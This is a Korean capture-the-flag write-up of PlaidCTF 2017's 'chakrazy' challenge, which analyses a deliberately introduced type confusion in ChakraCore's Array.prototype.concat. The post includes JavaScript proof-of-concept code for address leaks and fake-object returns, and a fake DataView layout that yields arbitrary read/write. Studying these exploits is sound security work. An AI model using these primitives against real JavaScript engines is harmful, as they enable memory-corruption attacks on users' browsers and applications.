본문 바로가기

카테고리 없음

chakrazy - ChakraCore type confusion

UPDATE: 2018/10/13, 잘못된 내용과 오타 수정.

chakrazy는 2017 PlaidCTF에서 출제된 문제로 ChakraCore에서 발생한 type confusion 취약점을 공부할 수 있는 좋은 예제다. 
CharaCore에서 발생하는 취약점을 이해하기 chakrazy 바이너리와 같이 취약한 코드 환경을 구성하고 분석해보기로 했다. 

CharaCore는 리눅스와 윈도우 모두 같은 코드로 컴파일 할 수 있으므로 디버깅이 편한 윈도우에서 분석해보기로 했다. 또한, 익스플로잇 보다 취약점이 발생한 원리가 더 궁금했기 때문에 익스플로잇 부분은 RIP를 int 3(0xcc)로 변경하는 것까지 진행했다. 리눅스 환경에서 제대로 작동하는 익스플로잇은 eboda의 코드를 참고하자.  

환경 설정
chakrazy 문제가 제공하는 README, change.diff 파일 참고해 ChakraCore 코드 상태를 변경한다. 

# ChakraCore 저장소를 생성한다

# README가 제공하는 상태로 변경한다
cd ChakraCore
git reset --hard dd33b4ceaf4b38b44d279d13988ecbd31df46ed2

# patch 적용, Windows는 patch명령어가 없으므로 따로 설치해야한다.
pip install patch
pip -m patch change.diff

분석 환경 세팅은 완료 됐다. 이제 Visual Studio 2015(VS2015)에서 프로젝트를 열고 빌드하면 바이너리가 생성된다.
빌드는 Release 모드로 한다. Debug 모드로 빌드하면 코드 중간에 있는 Assert 함수에 의해 익스플로잇 코드가 종료된다.  

패치 분석
change.diff 파일을 확인하면 어떤 코드가 패치 되었는지 알 수 있다. chakrazy 문제에서 제공한 change.diff는 CharaCore를 취약한 상태로 만드는 패치임을 알아두자. 

JavascriptArray.cpp 파일의 ConcatIntArgs 함수에서 아래와 같이 pDestArray 포인터 타입 검사 코드를 제거한 것을 볼 수 있다. 

JavascriptArray* JavascriptArray::ConcatIntArgs(JavascriptNativeIntArray* pDestArray, TypeId *remoteTypeIds, Js::Arguments& args, ScriptContext* scriptContext)


라인186에서 라인190까지의 코드가 빠졌다. 우리가 빌드한 ch.exe 바이너리는 위의 코드를 가지지 않는다. 
위의 패치는 ChakraCore를 취약하게 만들고 chakrazy 문제의 핵심이 되는 부분이다. 

JavacriptOperators::IsConcatSpreadable 함수가 실행된 후, pDestArray 포인터가 JavascriptNativeIntArray 타입인지 확인하는 부분을 제거했다. 즉, ConcatIntArgs 함수는 pDestArray는 JavascriptNativeIntArray 타입이라는 것을 가정하고 코드를 진행한다는 것이고 이 부분이 우리가 공략해야 하는 부분이다.  pDestArray 타입을 JavascriptNativeIntArray이 아닌 다른 타입으로 변경하는 문제일 것이다. 그리고 실제로 그렇다. 


코드 분석, 취약점
여기서는 아래 자바스크립트 코드가 실행될 때 CharaCore의 어떤 코드 경로를 거치는지 확인하고자 한다. 

let a = [1,2]
let b = [8,9]
let r = a.concat(b)

자바스크립트의 concat 함수의 구현은 ChakraCore JavascriptArray::EntryConcat 함수에서 확인 할 수 있다. 
소스코드에서 표시되는 라인 번호는 취약하도록 패치가 적용된 상태의 코드이다. 


EntryConcat 함수 내에서 args[0]인 var a를 인자로 사용해 ArraySpeciesCreate 함수를 실행한다. 
이때 자바스크립트 a[Symbol.species] 심볼을 참조한다. 
우리는 a[Symbol.species]를 재정의 함으로써 임의 객체을 리턴 할 수 있고 이 객체는 pDestObj 포인터가 가리킨다!


라인 3491에서 우리가 공략해야 할 부분인 ConcatIntArgs 함수를 호출하는 것을 볼 수 있다. 
이때 pIntArray와 args 메모리 내용은 아래 윈도우1, 윈도우2를 확인하자.

pIntArray == 0x0000028E7C9D0600
args         == 0x000000CB240FE6A0
args[0]    == 0x0000028e7c9c80e0 == var a
args[1]     == 0x0000028e7c9d03c0 == var b


계속 진행해서 ConcatIntArgs 함수 내부로 진입해보자. 


ConcatIntArgs 함수는 for 반복문을 통해 aItem(var a와 var b)에 대해 다음 작업을 진행한다. 
  • JavascriptOperators::IsConcatSpreadable 함수를 실행해 인자의 펼침가능 여부를 판단한다.
    이때 Symbol.isConcatSpreadable 심볼을 참조한다. 


  • aItem가 JavascriptNativeIntArray 타입이면(var a인 경우) CopyNativeIntArrayElements 함수를 실행한다

  • 또는 aItem가 JavascriptNativeIntArray 타입이 아닌 경우(var b인 경우) ConvertToVarArray 함수를 호출한다. 
aItem가 JavascriptNativeIntArray 타입인 경우 CopyNativeIntArrayElements 함수를 호출하는 코드는 아래와 같다.


aItem이 JavascriptNativeIntArray 타입이 아닌 경우 ConverToVarArray 함수를 호출하는 코드는 아래와 같다.


위의 내용과 패치 내역을 연결지어 생각해보자. 


우리가 디버깅하는 바이너리는 라인 186부터 190까지가 빠진 상태이다.
즉, pDeskArray가 JavascriptNativeIntArray 타입인지 확인하지 않고 있다. pDestArray가 변경될 수 있다는 말이다. 

우리는 자바스크립트에서 b[Symbol.isConcatSpreadable] 심볼을 정의하고 그 안에서 JavascriptNativeIntArray 타입을 가지는 a 또는 b에게 다른 타입의 객체를 넣음으로써 a 또는 b 객체의 타입을 변경 할 수 있다.  
*다른 타입의 값을 넣으면 내부적으로 해당 객체의 타입이 변경된다*

결과적으로 type confusion 취약점을 발생 시킬 수 있게 된다. 
Symbol.isConcatSpreadable 심볼을 재정의 함으로써 발생하는 문제점은 두 곳에서 유용하게 사용할 수 있는데
  • 하나는 ConvertToVarArray 함수 호출 경로를 memory leak에 사용할 수 있고
  • 다른 하나는 CopyNativeIntArrayElements 함수 호출 경로를 fake dataview 오브젝트 객체를 반환 받는데 사용할 수 있다.
모든 내용을 정리하자. 
  • 자바스크립트에서 concat 함수를 이용하면 취약한 상태인 ConcatIntArgs 함수에 도달 할 수 있다. 

  • Symbol.species, Symbol.isConcatSpreadable 심볼을 정의함으로써 JavascriptNativeIntArray 배열에서 JavascriptArray 배열로 변경 할 수 있다. 이 배열은 chakrazy 내부에서 pDestArray 포인터로 사용된다.

  • chakrazy 바이너리는 pDestArray가 JavascriptNativeIntArray 배열이라고 가정하고 ConverToVarArray 함수에 전달한다.  

  • type confusion 취약점이 발생한다.
Memory Leak
지금까지 정리된 내용을 기반으로 POC를 작성해보자.
type confusion 취약점을 이용하고 ConvertToVarArray 함수 호출 경로를 타면 memory leak으로 이어질 수 있다

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
var a = [1,2,3,4];
var b = [8,9];
 
var c = new Function();
c[Symbol.species] = function() {
    n = [7,7];            
    return n;
};
a.constructor = c; // return array n
 
b.__defineGetter__(Symbol.isConcatSpreadable, () => {
    n[0= {}; // (3) - n was JavascriptNativeIntArray, now changed to JavascriptArray
    b[0= {}; // (4)
    return true;    
});
 
let r = a.concat(b);    // (1) - a[Symbol.species], copy elements of a to n.
                        // (2) - b[Symbol.isConcatSpreadable], make 'a(n)' and 'b' type JavascriptNativeIntArray -> JavascriptArray
console.log(r);
cs

memory leak에서는 (3), (4)를 통해 객체 a와 b의 타입을 JavascriptNativeIntArray에서 JavascriptArray로 변경시킨 후 ConvertToVarArray 함수를 호출하는 부분을 공략한다.


ConvertToVarArray 함수가 실행 직전 a의 아이템은 다음과 같다. 


a[0]   == {} 객체 주소 0x000001c33e365360
a[1]    == 2 (0x0001000000000002)
a[2]   == 3 (0x0001000000000003)
a[3]   == 4 (0x0001000000000004)


현 시점엔 객체 a, b 모두 JavascriptNativeIntArray 타입에서 JavascriptArray 타입으로 변경된 상태임을 까먹지 말자. 

이제 ConvertToVarArray 함수를 실행해서 a의 버퍼에 b의 요소를 삽입하면서 type confusion 문제점이 발생한다. 
ConvertToVarArray 함수는 JavascriptNativeIntArray 타입인 intArray를 예상하지만 우리는 JavascriptArray로 변경된 b를 넣어주기 때문이다.
아무 죄없는 ConvertToVarArray 함수는 그저 자신의 역할을 충실했기에 8바이트 단위로 이루어진 b의 요소를 4바이트 단위로 처리한다. 
 
JavascriptArray *JavascriptNativeIntArray::ConvertToVarArray(JavascriptNativeIntArray *intArray)

ConvertToVarArray 함수는 b를 JavascriptNativeIntArray 배열이라고 생각하고 b의 요소를 4바이트 단위로 읽어서 8바이트 단위인 Var 형태로 변환한다. 이로인해 b[0]인 0x000001c33e365360와 b[1]인 0x0001000000000002를 0x3e365360, 0x000001c3, 0x00000002, 0x00010000로 해석하고 이들을 Var 형태인 8바이트 형식으로 변환해 저장한다.

0x3e365360 ==> 0x000100003e365360
0x000001c3 ==> 0x00010000000001c3
0x00000002 ==> 0x0001000000000002
0x00010000 ==> 0x0001000000010000

앞에 붙은 0x00010000은 데이터의 타입을 알려주는 태그로 이 경우 '숫자' 임을 의미한다.

ConvertToVarArray 함수를 실행 후 다음과 같이 a의 아이템 주소 포인터가 0x000001C33E38C1E0로 새롭게 갱신됐고 그 곳에는 위에서 변환된 8바이트 형태의 아이템이 들어 있는 것을 볼 수 있다.



여기까지 해서 let r = a.concat(b) 코드 실행이 완료됐다.
이제 JavascriptArray 객체인 r의 아이템 r[0], r[1]을 통해 n[0] = {} 의 주소 0x000001c33e365360를 얻을 수 있다. 

위의 memory leak 자바스크립트를 여러차례 실행해보면 결과는 다음과 같다. 


r[0] == hex(1592021856) == 0x5EE45360,  r[1] == hex(404) == 0x194 를 통해 n[0] = {} 주소 0x1945EE45360를 얻을 수 있다.

type confusion 취약점으로 특정(원하는) 객체의 주소를 얻을(leak) 수 있음을 확인했다. 하지만 단순히 메모리 주소를 얻을 수 있는 것만으로는 공격까지 이어질 수 없다. 당연히 다른 문제점이 또 있다. 


Fake DataView object
위에서 언급한 내용을 다시 붙여 넣으면,

Symbol.isConcatSpreadable 심볼을 재정의 함으로써 발생하는 문제점은 두 곳에서 유용하게 사용할 수 있는데
  • 하나는 ConvertToVarArray 함수 호출 경로를 memory leak에 사용할 수 있고
  • 다른 하나는 CopyNativeIntArrayElements 함수 호출 경로를 fake dataview 오브젝트 객체를 반환 받는데 사용할 수 있다.

ConvertToVarArray 함수 호출 경로를 탈 때 memory leak을 유발시킬 수 있었다.
이번엔 CopyNativeIntArrayElements 함수를 통해 특정 주소를 받환 받는 방법에 대해 다룬다.

 

type confusion 취약점을 이용하고 CopyNativeIntElements 함수 호출 경로를 타면 특정 주소에 있는 객체를 반환 받을 수 있다. 
ConvertToVarArray 함수 내부에서 aItem가 JavascriptNativeIntArray 타입인 경우 CopyNatvieIntElements 함수를 실행한다고 했다. 

bool JavascriptArray::CopyNativeIntArrayElements(JavascriptNativeIntArray* dstArray, uint32 dstIndex, JavascriptNativeIntArray* srcArray, uint32 start, uint32 end)

CopyNativeIntArrayElements 함수는 두 개의 JavascriptNativeIntArray 타입 srcArray(var b), dstArray(var a)를 받아 srcArray 배열의 아이템을 dstArray 배열에 복사한다.
CopyNativeIntArrayElements 함수는 srcArray(var b), dstArray(var a) 모두 JavascriptNativeIntArray 타입이라고 생각하고 4바이트 단위로 일을 처리한다.
열심히 일을 한다. 하지만 CopyNativeIntArrayElements 함수가 실행되는 시점엔 type confusion 취약점에 의해 dstArray(var a)는 JavascriptNativeIntArray 객체가 아닌 JavascriptArray 객체로 변경되어 있는 상태다.

만일 b의 아이템에 memory leak에서 획득한 n[0]의 주소 0x000001c33e365360를 4바이트씩 나눠서 0x3e365360, 0x000001c3로 저장했다면 dstArray 아이템 배열에 0x3e365360, 0x000001c3 순서로 정상적으로 들어갈 것이다. 

문제는 dstArray(var a)이다. a는 JavascriptNativeIntArray 타입이 아닌 JavascriptArray 타입으로 변경된 상태이기 때문이다. 
a[index]에 0x000001c33e365360가 있을 것이고 우리는 0x000001c33e365360에 있는 객체, 즉 {} 객체를 리턴 받는다. 

다소 글로 설명이 길었는데 간략하게 정리하면, CopyNativeIntArrayElements 함수에서 발생하는 type confusion 취약점을 이용하면 원하는 주소에 있는 객체를 반환 받을 수 있다.  

poc 코드와 디버깅을 통해 확인해보자.    0x00000125D36DC0A0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
function get_addr(target_to_leak)
{
    let a = [1,2,3,4];
    let b = [8,9];
 
    let c = new Function();
    c[Symbol.species] = function() {
        n = [7,7];            
        return n;
    };
    a.constructor = c; // return array n
 
    b.__defineGetter__(Symbol.isConcatSpreadable, () => {
        n[0= target_to_leak;
        b[0= {};
        return true;    
    });
 
    let r = a.concat(b);                 
    return [ r[0], r[1] ]   // low, high == 0xD36DC0A0, 0x00000125
}
 
// leak
var myArr = new Array(1,00,00,00,00,00,00,00,0);  
var [ lo, hi ] = get_addr(myArr); // 0xD36DC0A0, 0x00000125
 
// 특정 주소에 있는 객체를 반환 
var a = [];
var b = [ lo, hi ];
 
var c = new Function();
c[Symbol.species] = function() {
    n = [7,7];            
    return n;
};
a.constructor = c; // return array n
 
b.__defineGetter__(Symbol.isConcatSpreadable, () => {
    n[0= {};
    return true;    
});
 
let r = a.concat(b);                 
 
// r[0] == myArr
// result: items of r[0]
console.log(r[0])
cs

CopyNativeIntArrayElements 함수가 실행되기 전 모습을 보면 다음과 같다. 

0x0000019406240960 == JavascriptArray  ==  var a 
0x000001940625C320 == JavascriptNativeArray == var b
0x000001940625C320 == JavascriptArray(var a) 객체의 아이템 배열 주소


CopyNativeIntArrayElements 함수가 실행된 후 아래와 같이 JavascriptArray(var a) 객체 배열 요소(0x000001940625C320)에 myArr 객체 주소(0x00000125D36DC0A0)가 추가된 것을 볼 수 있다.


CopyNativeIntArrayElements 함수에서 발생하는 type confusion 취약점으로 우리는 특정 주소에 있는 객체를 반환 받을 수 있다. 
이제 myArr 배열 안에 가짜 DataView 객체(fake_dv)를 만들고 그 주소를 반환 받으면 우리는 fake_dv를 통해 특정 주소에 대한 읽기/쓰기를 할 수 있게 된다.

myArr 배열에 fake DataView 객체를 생성하는 예제는 아래와 같다.

// fake DataView
// vftable
myArr[0] = 0;                                       myArr[1] = 0;
// type_id ptr
myArr[2] = fake_dv.low + 0x10;          myArr[3] = fake_dv.high;
// type_id
myArr[4] = 0x38;                        myArr[5] = 0;
// some pointer(must valid memory)
myArr[6] = fake_dv.low + 0x430;         myArr[7] = fake_dv.high;
// length
myArr[8] = 0x200;                       myArr[9] = 0;
// ArrayBuffer
myArr[10] = (addr_ab.low)|0;            myArr[11] = addr_ab.high;      // prevent crash, don't care
// buffer
myArr[14] = addr_target.low;            myArr[15] = addr_target.high;    // want to read/write here

ConverToIntArray 함수를 이용해 myArr 객체의 주소 leak_myArr를 얻고 CopyNativeIntArrayElements 함수를 통해 myArr+0x58에 위치한 fake DataView 객체를 받으면 된다. 

read 또는 write를 하고 싶은 대상 주소(target address)가 0x4141414142424242라면 myArr[14] = 0x42424242,  myArr[15] = 0x41414141로 업데이트하고 fake DataView의 getUint32, setUint32 함수를 사용하면 된다. 

이렇게 해서 read/write primitive까지 모두 획득했다. 

Exploit
취약점이 발생한 지점을 모두 확인했고 객체 주소를 유출했고 가짜 DataView 객체를 구성하고 이를 리턴 받아 read/write primitive를 획득했다. 이제 RIP를 0xCC로 변경해보자. 단순히 RIP를 CC로 변경하는 것까지만 진행했다. 
POC - https://github.com/spff1/just_fun/tree/master/chakrazy


ChakraCore 취약점 익스플로잇 공부는 Brian Pak의 CVE-2016-7200, CVE-2016-7201 코드를 참고하자. 이걸로 공부 많이했다.

참고